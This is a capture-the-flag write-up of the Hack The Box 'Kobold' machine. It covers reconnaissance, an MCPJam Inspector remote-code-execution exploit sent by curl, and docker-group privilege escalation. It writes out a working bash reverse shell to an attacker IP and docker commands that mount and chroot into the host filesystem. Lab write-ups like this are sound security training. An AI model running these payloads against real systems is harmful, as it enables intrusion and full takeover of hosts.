

HTB Kobold - HTB Easy Machine

Martina Giacobbe

1 Introduction

This document describes a complete penetration testing process against the **Kobold** machine. The workflow follows a standard offensive security methodology consisting of reconnaissance, enumeration, exploitation, post-exploitation, and privilege escalation. Each phase is documented in detail, including unsuccessful attempts, in order to provide a clear and reproducible analysis.

2 Reconnaissance and Enumeration

2.1 Nmap Scan

The initial phase consists of service discovery using **nmap**:

```
nmap -sC -sV kobold.htb
```

The scan reveals three open ports: 22 (SSH), 80 (HTTP), and 443 (HTTPS). The SSH service is running OpenSSH 9.6p1 on Ubuntu, while both web services are handled by nginx 1.24.0.

Port 80 does not directly expose content but redirects to HTTPS. This behavior suggests that the main application is intended to be accessed securely via port 443. From a methodological perspective, this implies that further enumeration should be focused on HTTPS endpoints.

2.2 Virtual Host Enumeration

Given the presence of a valid TLS certificate with wildcard entries, virtual host enumeration is performed using Gobuster:

```
gobuster vhost -u https://kobold.htb  
—wordlist /usr/share/SecLists/Discovery/DNS \\\n/subdomains-top1million-5000.txt  
—append-domain -k
```

This step reveals two additional subdomains: **bin.kobold.htb** and **mcp.kobold.htb**. The discovery of multiple virtual hosts indicates that the target system is hosting more than one web application, thereby increasing the potential attack surface.

3 Web Application Analysis

Accessing `bin.kobold.htb` returns a complete web interface, although no immediate vulnerabilities are identified during initial inspection. This represents a failed attempt in terms of direct exploitation, but it is still relevant as it confirms the presence of a secondary application.

In contrast, accessing `mcp.kobold.htb` reveals a minimal interface that discloses the application version: MCPJam Inspector v1.4.3. Version disclosure is a critical step in vulnerability assessment, as it enables targeted CVE research.

4 Vulnerability Research

A search for known vulnerabilities affecting MCPJam Inspector leads to the identification of CVE-2026-23744. This vulnerability affects versions up to 1.4.2 and allows remote code execution through a crafted HTTP request.

Although the identified version is 1.4.3, which is theoretically patched, the presence of exploitable behavior suggests either incomplete patching or misconfiguration. This is a common real-world scenario, where patched versions may still be vulnerable due to deployment issues.

The vulnerability arises because the application allows the creation of MCP server configurations via HTTP requests. By injecting malicious commands into the configuration, an attacker can force the system to execute arbitrary code. Additionally, the service listens on 0.0.0.0, making it remotely accessible rather than restricted to localhost.

5 Exploitation

A proof-of-concept exploit is executed using `curl`:

```
curl -k https://mcp.kobold.htb/api/mcp/connect \
--header "Content-Type: application/json" \
--data '{"serverConfig":{
  "command":"bash","args":["-c","bash -i >& /dev/tcp/10.10.14.118/9001 \
0>&1"],
  "env":{"}}","serverId":"mytest"}'
```

This payload injects a reverse shell command into the server configuration. The command forces the target to initiate a connection back to the attacker's machine, providing an interactive shell.

The exploitation is successful and yields a shell as the user `ben`. At this stage, user-level access is obtained, and the `user.txt` flag can be retrieved.

6 Post-Exploitation

After gaining shell access, the next step is to enumerate the internal system. A standard command used in this phase is:

```
$ ss -tulpn
```

This command lists active network services and their listening interfaces. Among the discovered services, port 3552 stands out because it is bound to all interfaces (0.0.0.0), meaning it is externally reachable.

Accessing (<http://kobold.htb:3552>) reveals a login panel for an application named Arcane v1.13. At this point, no valid credentials are available, and direct authentication is not possible. This represents another failed exploitation path, but it still provides useful information about the system architecture.

Further enumeration is performed using `linpeas.sh`. The tool highlights unusual directories such as `/opt/containerd` and identifies that the user `ben` belongs to the `docker` group.

7 Privilege Escalation

Membership in the `docker` group is a critical finding. From a security standpoint, Docker effectively provides root-equivalent privileges because it allows interaction with containers and mounting of the host filesystem.

To leverage this, the current shell session is updated:

```
$ newgrp docker
```

This command applies the new group permissions without requiring a logout.

Listing running containers shows an active container based on the image `privatebin/nginx-fpm-alpine:2.0.2`. The next step is to abuse Docker to mount the host filesystem inside a container:

```
$ docker run -it --rm -v /:/mnt
privatebin/nginx-fpm-alpine:2.0.2
chroot /mnt sh
```

This command mounts the root filesystem of the host into the container under `/mnt`. By using `chroot`, the container's root is switched to the host filesystem, effectively granting full access.

An alternative method is also used:

```
$ docker run -it --rm
--privileged
--user 0
--entrypoint /bin/sh
-v /:/hostfs
```

```
privatebin/nginx-fpm-alpine:2.0.2
```

Inside the container, the command `whoami` confirms root privileges. At this point, the host filesystem is accessible, and the root flag can be retrieved from:

```
$cat /hostfs/root/root.txt
```

8 Conclusion

The compromise of the Kobold machine is achieved through a combination of web exploitation and privilege escalation techniques. The initial foothold is obtained via a remote code execution vulnerability in MCPJam Inspector. Despite the target running a patched version, the vulnerability remains exploitable, highlighting the importance of proper patch management.

Post-exploitation enumeration reveals additional internal services, although not all of them are directly exploitable. The decisive step in privilege escalation is the identification of Docker group membership. This misconfiguration allows full compromise of the host system through container abuse.

From a defensive perspective, the system demonstrates several weaknesses, including improper exposure of internal services, unsafe handling of user-supplied configurations, and excessive user privileges. Proper isolation, principle of least privilege, and secure deployment practices would significantly reduce the attack surface.